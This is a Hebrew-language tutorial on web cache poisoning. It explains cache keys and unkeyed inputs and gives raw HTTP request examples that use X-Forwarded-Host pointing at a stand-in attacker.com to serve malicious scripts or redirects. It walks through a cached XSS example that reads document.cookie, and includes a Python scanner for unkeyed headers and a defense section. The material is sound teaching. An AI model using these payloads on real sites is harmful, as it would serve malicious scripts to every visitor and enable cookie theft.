לדלג לתוכן

הCache Poisoning - Web Cache Poisoning

מבוא

הCache Poisoning (Web Cache Poisoning) היא תקיפה שבה התוקף מנצל את מנגנון הcache של אפליקציית אינטרנט כדי להגיש תוכן זדוני למשתמשים אחרים. התוקף שולח בקשה מעוצבת שגורמת לשרת להחזיר תגובה זדונית, והתגובה נשמרת בcache ומוגשת לכל מבקר שמבקש את אותו משאב.

הסכנה בתקיפה זו היא שהיא יכולה להשפיע על מספר גדול של משתמשים ללא צורך באינטראקציה ישירה עם כל אחד מהם.


איך cache אינטרנט עובד

שרשרת הcache

[Client] --> [CDN / Cache] --> [Reverse Proxy] --> [Application Server]

כשהcache מקבל בקשה, הוא בודק אם כבר יש לו תגובה מתאימה. אם כן - הוא מחזיר אותה ישירות. אם לא - הוא מעביר את הבקשה לשרת, שומר את התגובה ומחזיר אותה.

מפתח cache - Cache Key

הcache קובע אם שתי בקשות "זהות" לפי מפתח הcache. בדרך כלל המפתח כולל:

Typical cache key:
- HTTP method (GET)
- Path (/page)
- Query parameters (?id=1)
- Host header

Not included in the key (usually):
- Other headers (X-Forwarded-Host, User-Agent...)
- Cookies
- Request body

זיהוי התנהגות cache

הheaders תגובה שמצביעות על cache:

HTTP/1.1 200 OK
X-Cache: miss          # the request was not in the cache
X-Cache: hit           # the request was served from the cache
Age: 120               # how many seconds the response has been in the cache
Cache-Control: max-age=3600, public
Vary: Accept-Encoding  # the key also includes the Accept-Encoding header

עקרון התקיפה

התקיפה מבוססת על headers שאינן במפתח (unkeyed inputs) שמשפיעות על התגובה:

1. An attacker sends a request with a special header that affects the response
2. The server returns a response that contains the value from the header
3. The cache stores the response (the header is not in the key, so it doesn't know the response is "poisoned")
4. Regular users request the same path and receive the malicious response from the cache

גילוי headers שאינן במפתח עם Param Miner

הרחבת Param Miner ל-Burp Suite מזהה אוטומטית headers ופרמטרים שאינם במפתח הcache:

1. Install Param Miner from the BApp Store
2. Right-click a request -> Extensions -> Param Miner
3. Choose:
   - Guess headers: search for headers not in the key
   - Guess cookies: search for cookies not in the key
   - Guess params: search for parameters not in the key
4. Check the log in Dashboard/Output

הכלי שולח בקשות עם headers שונות (כמו X-Forwarded-Host, X-Original-URL ועוד) ובודק אם הערך מופיע בתגובה.


הPoisoning דרך X-Forwarded-Host

הheader X-Forwarded-Host משמשת לזיהוי ה-Host המקורי כשבקשה עוברת דרך proxy. אם השרת משתמש בheader זו ליצירת לינקים בתגובה, אפשר להרעיל:

דוגמה

בקשה רגילה:

GET /en HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
<script src="https://vulnerable-website.com/resources/js/main.js"></script>

בקשה עם X-Forwarded-Host:

GET /en HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
<script src="https://attacker.com/resources/js/main.js"></script>

אם הheader לא במפתח הcache, התגובה הזדונית תישמר ותוגש לכל מבקר ב-/en.

שלבי התקיפה המלאים

1. Send GET /en with X-Forwarded-Host: attacker.com
2. Make sure the response contains attacker.com (X-Cache: miss)
3. Send again without the header and check the response still contains attacker.com (X-Cache: hit)
4. Host malicious JavaScript at attacker.com/resources/js/main.js
5. Every visitor to the site will load the malicious script

הPoisoning דרך X-Forwarded-Scheme

הheader X-Forwarded-Scheme (או X-Forwarded-Proto) מציינת את הפרוטוקול המקורי. שרתים משתמשים בה להפניית HTTP ל-HTTPS:

GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http

HTTP/1.1 301 Moved Permanently
Location: https://vulnerable-website.com/

שילוב עם X-Forwarded-Host:

GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Scheme: http
X-Forwarded-Host: attacker.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/

אם שתי הheaders אינן במפתח, כל מבקר בדף הבית יופנה לאתר התוקף.


הPoisoning דרך X-Original-URL ו-X-Rewrite-URL

הheaders אלו משנות את הנתיב הפנימי שהאפליקציה מעבדת:

GET / HTTP/1.1
Host: vulnerable-website.com
X-Original-URL: /admin

HTTP/1.1 200 OK
(content of /admin)

הבקשה נשלחת ל-/ (מפתח הcache), אבל השרת מעבד את /admin. התגובה של /admin נשמרת בcache עבור /.


בקשות GET עם גוף - Fat GET Requests

בקשות GET לא אמורות לכלול גוף, אבל חלק מהשרתים מעבדים אותו:

GET /search?q=test HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded

q=<script>alert(1)</script>

אם השרת מעדיף את הפרמטר מהגוף על זה מה-URL, ומפתח הcache כולל רק את ה-URL:

Cache key: GET /search?q=test
Response: results for <script>alert(1)</script>

כל מי שמחפש "test" יקבל XSS.


הסתרת פרמטרים - Parameter Cloaking

שרתים שונים מפרשים query string בצורות שונות. ניתן לנצל את ההבדלים:

מפריד נקודה-פסיק

GET /search?q=test;evil_param=<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com

הcache רואה: q=test;evil_param=... (פרמטר אחד)
השרת רואה: q=test ו-evil_param=<script>alert(1)</script> (שני פרמטרים)

פרמטר כפול

GET /search?q=test&q=<script>alert(1)</script> HTTP/1.1

הcache משתמש בערך הראשון למפתח, השרת משתמש באחרון.

פרמטר UTM

GET /page?utm_content=<script>alert(1)</script> HTTP/1.1

חלק מהcaches מתעלמים מפרמטרי UTM במפתח, אבל השרת כולל אותם בתגובה.


הPoisoning דרך פרמטרי query שאינם במפתח

חלק מהcaches מתעלמים מפרמטרי query מסוימים או מכולם:

הcache שמתעלם מכל הפרמטרים

GET /page?evil=<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com

מפתח הcache: GET /page (ללא הפרמטרים)
התגובה מכילה את הפרמטר בתוך ה-HTML.

זיהוי באמצעות cache buster

# Request 1 - with cache buster
GET /page?cb=random123&evil=payload HTTP/1.1
X-Cache: miss

# Request 2 - same cache buster, without evil
GET /page?cb=random123 HTTP/1.1
X-Cache: hit  # served from the cache - evil is not in the key!

הPoisoning עם מספר headers

לפעמים נדרש שילוב של מספר headers:

GET /page HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

הheader X-Forwarded-Scheme: nothttps גורמת להפניה, ו-X-Forwarded-Host: attacker.com קובעת את יעד ההפניה.


הPoisoning דרך הבדלי נרמול URL

הcaches ושרתים עשויים לנרמל URL-ים בצורות שונות:

הEncoding אחוזים

Cache sees: /page%2f..%2fadmin  (not decoded)
Server sees: /admin               (decoded and normalized)

נקודות בנתיב

GET /page/..%2fadmin HTTP/1.1

# The cache stores under /page/..%2fadmin
# The server processes /admin

לוכסן כפול

GET //admin HTTP/1.1

# Some caches treat // like /
# Some servers treat it as a different path

הPoisoning ממוקדת - header Vary

הheader Vary מוסיפה headers נוספות למפתח הcache:

HTTP/1.1 200 OK
Vary: User-Agent

המשמעות: הcache שומר גרסה נפרדת לכל User-Agent. ניתן לנצל זאת לpoisoning ממוקדת:

1. Find the victim's User-Agent (for example via XSS)
2. Send a request with the same User-Agent + malicious payload
3. Only the victim will receive the poisoned response

דוגמה מלאה - Cache Poisoning ל-XSS

שלב 1 - זיהוי header שאינה במפתח

GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: test123.com

HTTP/1.1 200 OK
X-Cache: miss
...
<link rel="canonical" href="https://test123.com/"/>

שלב 2 - אישור שהcache שומר את התגובה

GET / HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://test123.com/"/>

שלב 3 - injection XSS

GET / HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: "></link><script>alert(document.cookie)</script>

HTTP/1.1 200 OK
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>

שלב 4 - אישור שה-XSS בcache

GET / HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Cache: hit
...
<link rel="canonical" href="https://"></link><script>alert(document.cookie)</script>/"/>

כל מבקר בדף הבית יקבל את ה-XSS.


סקריפט אוטומציה

#!/usr/bin/env python3
"""
Basic script for detecting cache poisoning
"""

import requests
import random
import string
import time

def generate_cache_buster():
    """Generate a random cache buster"""
    return ''.join(random.choices(string.ascii_lowercase, k=8))

def check_unkeyed_header(url, header_name, header_value):
    """Check whether a header is not in the cache key"""

    cb = generate_cache_buster()
    test_url = f"{url}?cb={cb}"

    # Request 1 - with the header
    headers = {header_name: header_value}
    resp1 = requests.get(test_url, headers=headers)

    if header_value not in resp1.text:
        return False, "The value does not appear in the response"

    # Short wait
    time.sleep(0.5)

    # Request 2 - without the header
    resp2 = requests.get(test_url)

    if header_value in resp2.text:
        cache_header = resp2.headers.get('X-Cache', 'unknown')
        return True, f"Header {header_name} is not in the key! (X-Cache: {cache_header})"

    return False, "The value was not saved in the cache"

def scan_target(url):
    """Scan a target for headers not in the key"""

    headers_to_test = [
        ("X-Forwarded-Host", "cache-poison-test.com"),
        ("X-Host", "cache-poison-test.com"),
        ("X-Forwarded-Server", "cache-poison-test.com"),
        ("X-Forwarded-Scheme", "nothttps"),
        ("X-Forwarded-Proto", "nothttps"),
        ("X-Original-URL", "/cache-poison-test"),
        ("X-Rewrite-URL", "/cache-poison-test"),
    ]

    print(f"[*] Scanning {url}")
    print("-" * 50)

    for header_name, header_value in headers_to_test:
        vulnerable, message = check_unkeyed_header(
            url, header_name, header_value
        )
        status = "[+]" if vulnerable else "[-]"
        print(f"{status} {header_name}: {message}")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print("Usage: python3 cache_poison.py <url>")
        sys.exit(1)

    scan_target(sys.argv[1])

הגנה

1. אל תכלילו קלט שאינו במפתח בתגובה

- If a header affects the response, add it to the cache key
- Or don't use the header at all in the response logic

2. הגדרת Cache-Control נכונה

# Dynamic pages with personal information
Cache-Control: no-store, private

# Static resources
Cache-Control: public, max-age=31536000, immutable

3. ולידציה מודעת-cache

# If you must use the X-Forwarded-Host header
allowed_hosts = ["www.example.com", "example.com"]

forwarded_host = request.headers.get("X-Forwarded-Host", "")
if forwarded_host and forwarded_host not in allowed_hosts:
    forwarded_host = "www.example.com"  # safe default

4. שימוש ב-Vary

# If the response depends on a specific header, add it to Vary
Vary: X-Forwarded-Host, Accept-Encoding

5. בדיקה תקופתית

- Scan with Param Miner regularly
- Check every change in the CDN/Cache configuration
- Make sure the cache key includes all inputs that affect the response

סיכום

הCache Poisoning היא תקיפה שמשפיעה על כל מבקרי האתר, לא רק על הקורבן הישיר. היא מנצלת את הפער בין מה שהcache מחשיב כ"אותה בקשה" לבין מה שבאמת משפיע על התגובה. נקודות מפתח:

  • הheaders שאינן במפתח הcache הן וקטור התקיפה העיקרי
  • כלי Param Miner חיוני לגילוי headers ופרמטרים שאינם במפתח
  • הPoisoning יכולה להוביל ל-XSS, הפניות פתוחות, ומניפולציה של תוכן
  • ההגנה דורשת התאמה בין מפתח הcache לקלטים שמשפיעים על התגובה